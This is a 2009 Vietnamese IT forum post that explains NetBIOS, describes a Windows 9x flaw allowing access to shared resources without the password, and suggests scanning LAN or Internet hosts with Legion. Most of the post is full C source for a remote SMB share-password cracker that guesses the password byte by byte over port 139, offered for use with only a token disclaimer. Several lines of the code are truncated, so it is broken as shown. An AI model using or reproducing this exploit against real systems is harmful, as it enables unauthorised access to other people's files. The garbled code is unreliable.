Chia Sẽ Kinh Nghiệm Về IT



Tìm Kiếm Với Google
-


Gởi Ðề Tài Mới  Gửi trả lời
 
Công Cụ Xếp Bài
Tuổi 26-11-2009, 09:50 PM   #1
hoctinhoc
Guest
 
Trả Lời: n/a
Netbios là gì ?
Netbios là gì ?

Netbios là gì ?


Netbios là một giao thức, công nghệ nối mạng của Windows 9.x..Nó được thiết kế trong môi trường mạng LAN để chia sẻ tài nguyên (như dùng chung các File, Folder, máy in và nhiều tài nguyên khác....Mô hình này rất going mô hình mạng ngang hàng Peer to Peer). Nếu bạn nào hay đi chơi Games hay xài Internet ở ngoài hàng chắc không lạ gì mô hình này. Thông thường thì một mạng dùng giao thức Netbios thường là Netbios Datagram Service (Port 138), Netbios Session Service (Port 139) hoặc cả 2.

Lổ hỗng bảo mật của Netbios ?

Do đặc tính được thiết kế cho mạng LAN để chia sẻ tài nguyên nên tính bảo mật của giao thức Netbios rất thấp. Co.,ltd NS đã phát hiện được một lổ hỗng bảo mật của giao thức Netbios. Lổ hỗng này cho phép bất cứ Hacker nào cũng có thể dễ dàng truy cập đến các tài nguyên dùng chung nhạy cảm (thường không thuộc quyền hạn truy cập của họ) một cách dễ dàng. Thậm chí các Hacker này không cần phải biết Password để truy cập chúng.

Khai thác các lổ hỗng ?

Vậy làm sao để có thế khai thá lổ hỗng này?

A) Nếu bạn dùng Windows 9.x bạn có thể sử dụng chương trình Legion v2.1.Chương trình dùng để quét qua các IP trên mạng LAN, nếu phát hiện được Host nào trong LAN bị dính Bug này. OK! Bạn có thể từ đó truy cập lên các tài nguyên có trên mạng đó. Nếu Scan trong LAN thì IP sẽ là IP của mạng LAN đó. Ngoài ra chương trình còn được chỉ định để Scan các Host trên Internet. Khi Scan trên Internet thì tính năng cũng tương tự, tuy nhiên phạm vi sẽ rộng lớn hơn và IP cũng sẽ là các IP trên Internet.

B) Nếu bạn dùng Unix/Linux/BSD..bạn có the dùng chương trình dưới đây để khai thác lổ hỗng này.

================================================== =============

*/



#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include



#define SMBPORT 139



int sock_connect(char *remotehost, unsigned int port);

long uid;

char share[100];

char password[100];

char smb_packet[512];

char data[8192]; // 4 general purpose



int request_new_session(int sock)

{

int i, j=0, len;

char nbname[100], nbnetform[100], t[2];

char session_data[512];

memset(session_data, 0, sizeof(session_data));

memset(nbname, 0, sizeof(nbname));

memset(nbnetform, 0, sizeof(nbnetform));

for(i=2;i

len=strlen(nbname);

for(i=0;i<16;i++)

{

if(i>=len)

{

t[0]='C';

t[1]='A';

}

else

{

t[0]=nbname[i]/16+65;

t[1]=nbname[i]%16+65;

}

nbnetform[j]=t[0];

nbnetform[j+1]=t[1];

j+=2;

}

// now we got the netbios name in network format.

session_data[0]=0x81;

session_data[3]=0x48;

session_data[4]=0x20;

memcpy(&session_data[5], nbnetform, j);

session_data[6+j]=0x20;

sprintf(nbnetform, "CACACACACACACACACACACACACACACAAA");

memcpy(&session_data[7+j], nbnetform, 32);

if(send(sock, session_data, 37+j, 0)==-1) return -1;

memset(data, 0, sizeof(data));

if(recv(sock, data, 8192, 0)==-1) return -1;

// get uid for later use

uid=data[33]*256+data[32]; // 32th value indicates lower, 33th value indicates higher value

return data[0];

}



int samba_session(int sock, char *login, char *password)

{

int lp_len, lp_raw_len, lpa, lpb, lpra, lprb, pass_len, pass_lena, pass_lenb;

char lpdata[8192]; // hope enough room. anyway who cares...

lp_raw_len=strlen(login)+strlen(password)+2;

lp_len=lp_raw_len+55;

lpra=lp_raw_len/256; // divide by 256 to calculate higher value

lprb=lp_raw_len%256; // remainder will be lower value

lpa=lp_len/256; // divide by 256 to calculate higher value

lpb=lp_len%256; // remainder will be lower value

pass_len=strlen(password)+1;

pass_lena=pass_len/256;

pass_lenb=pass_len%256;

memset(lpdata, 0, sizeof(lpdata));

lpdata[2]=lpa; lpdata[3]=lpb;

lpdata[4]=0xff; lpdata[5]=0x53;

lpdata[6]=0x4d; lpdata[7]=0x42;

lpdata[8]=0x73; lpdata[13]=0x18;

lpdata[14]=0x01; lpdata[15]=0x20;

lpdata[31]=0x28; lpdata[36]=0x0a;

lpdata[37]=0xff; lpdata[41]=0x04;

lpdata[42]=0x11; lpdata[43]=0x02;

lpdata[51]=pass_lenb; lpdata[52]=pass_lena;

lpdata[57]=lprb; lpdata[58]=lpra;

memcpy(&lpdata[59], password, strlen(password));
memcpy(&lpdata[60+strlen(password)], login, strlen(login));

if(send(sock, lpdata, strlen(password)+strlen(login)+61, 0)==-1) return -1;

if(recv(sock, lpdata, 1024, 0)==-1) return -1;

return (lpdata[9]);

}



void build_crafted_smb_packet(char *remoteshare, char *remotepassword)

{

memset(smb_packet, 0, sizeof(smb_packet));

smb_packet[4]='\xff';

smb_packet[5]='S';

smb_packet[6]='M';

smb_packet[7]='B';

smb_packet[8]='u';

smb_packet[13]='\x18';

smb_packet[14]='\x01';

smb_packet[15]=' ';

smb_packet[31]='\x28';

smb_packet[32]=uid%256;

smb_packet[33]=uid/256;

smb_packet[36]='\x04';

smb_packet[37]='\xff';

smb_packet[43]=strlen(remotepassword); // number of bytes we wanna remote side to confirm. we set the rules... muhahahaha

smb_packet[45]=strlen(remotepassword)+strlen(remoteshare)+1;

memcpy(&smb_packet[47], remotepassword, strlen(remotepassword));

memcpy(&smb_packet[47+strlen(remotepassword)], remoteshare, strlen(remoteshare));

smb_packet[48+strlen(remotepassword)+strlen(remoteshare)]='\x41';

smb_packet[49+strlen(remotepassword)+strlen(remoteshare)]='\x3A';

// calculate and add length

smb_packet[3]=strlen(remotepassword)+strlen(remoteshare)+47;

}



int main (int argc, char *argv[])

{

int sock, i, len=1, done=0;

struct sockaddr_in sin;

struct hostent *hp;

printf("\nMicrosoft Windows 9x NETBIOS remote password cracker. Written by Melih SARICA.\nE-Mail: melihsar@yahoo.com, msarica@bilgiteks.com\n");

printf("I take no responsibility for what you do with this software.\nPlease test your own system only.\n\n");

if(argc!=3)

{

printf("usage: %s hostname remoteshare\n", argv[0]);

printf("hostname: Target host (ex: 127.0.0.1)\nremoteshare: Target share (ex: //victim/c)\n\n");

exit (1);

}

strncpy(share, argv[2], 100);

for(i=0;i

if(share[i]=='/') share[i]='\\';

else share[i]=toupper(share[i]);

hp=gethostbyname(argv[1]);

if(hp==NULL) return -1;

memset((char *)&sin, 0,sizeof(sin));

bcopy(hp->h_addr,(char *)&sin.sin_addr,hp->h_length);

sin.sin_family=hp->h_addrtype;

sin.sin_port=htons(SMBPORT);

sock=socket(AF_INET, SOCK_STREAM, 0);

if(sock==-1)

{

printf("Unable to create socket.\n");

return -1;

}

if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))==-1)

{

printf("Unable to connect.\n");

exit(0);

}



if(request_new_session(sock)!=0xffffff82) // thats the way i like it

{

printf("Error: Couldn't establish session.\n");

return(0);

}



if(samba_session(sock, "31337", "")!=0)

{

printf("Error: Couldn't establish login session.\n");

return(0);

}

memset(password, 0, sizeof(password));

printf("Wait a few seconds... (Long passwords take a few minutes on a 56K modem.)\n");

while(done==0)

{

for(i=1;i<=255;i++)

{

password[len-1]=i;

// build packet

build_crafted_smb_packet(share, password);

if(send(sock, smb_packet, strlen(share)+strlen(password)+51, 0)==-1)

{

printf("Error: Couldn't send data.\n");

return(0);

}

memset(data, 0, sizeof(data));

if(recv(sock, data, 8192, 0)==-1)

{

printf("Error: Couldn't receive data.\n");

return(0);

}

if(data[9]==0)

{

printf("-> %c\n", i);

break;

}

else

if(i==255)

{

if(len!=1) done=1;

else done=2;

password[len-1]=0;

break;

}

}

len++;

}

if(done==1) printf("Password cracked. PASSWORD:\"%s\"\n", password);

else printf("Couldn't crack password.\n");

close(sock);

return 0;

}

================================================== =============

Lưu y?: Mọi hướng dẫn và chương trình được chỉ định với Windows 9.x, Se, Me....chống chỉ định với Windows NT, Windows 2000.

Chúc các bạn thành công

Binhnx200 - N.X.Bi ^($) ^

  Trả lời ngay kèm theo trích dẫn này
Gửi trả lời


Công Cụ
Xếp Bài

Quyền Hạn Của Bạn
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is Mở
Hình Cảm xúc đang Mở
[IMG] đang Mở
Mã HTML đang Tắt




Bây giờ là 06:38 AM. Giờ GMT +7



Diễn đàn tin học QuantriNet
quantrinet.com | quantrimang.co.cc
Founded by Trương Văn Phương | Developed by QuantriNet's members.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.